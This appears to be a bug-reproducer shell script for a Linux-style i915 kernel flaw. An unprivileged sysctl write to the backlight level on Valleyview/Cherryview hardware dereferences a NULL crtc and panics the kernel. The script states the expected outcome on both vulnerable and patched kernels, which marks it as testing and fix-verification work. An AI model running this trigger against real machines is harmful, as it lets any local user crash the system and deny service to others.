#!/bin/sh
# DF-4161 trigger — unprivileged NULL-crtc backlight write (VLV/CHV only).
#
# Requires REAL hardware: Intel Valleyview/Cherryview (BYT/BSW) i915 with an
# LVDS/eDP panel whose backlight was left enabled by the BIOS (panel lit) while
# the connector's current atomic state has no crtc (panel not bound to a pipe).
#
# Expected on a vulnerable kernel: immediate kernel page fault at
#   to_intel_crtc(NULL)->pipe  in vlv_set_backlight (intel_panel.c:581)
#   → panic.
# Expected on a patched kernel (fix.diff): write either succeeds silently or
#   returns without touching hardware (guard hit); WARN printed once if the
#   vlv_set_backlight belt-and-braces check fires.

MAX=$(sysctl -n hw.backlight_max 2>/dev/null)
if [ -z "$MAX" ]; then
	echo "SKIP: hw.backlight_max not present (no i915 backlight panel)."
	exit 64
fi
echo "whoami: $(id -un)  (must NOT be root)"
echo "hw.backlight_max = $MAX"
CUR=$(sysctl -n hw.backlight_level)
NEW=$(( MAX / 2 ))
[ "$NEW" = "$CUR" ] && NEW=$(( MAX / 3 + 1 ))
echo "writing hw.backlight_level=$NEW (was $CUR)"
sysctl hw.backlight_level=$NEW
echo "survived write: $(sysctl -n hw.backlight_level)"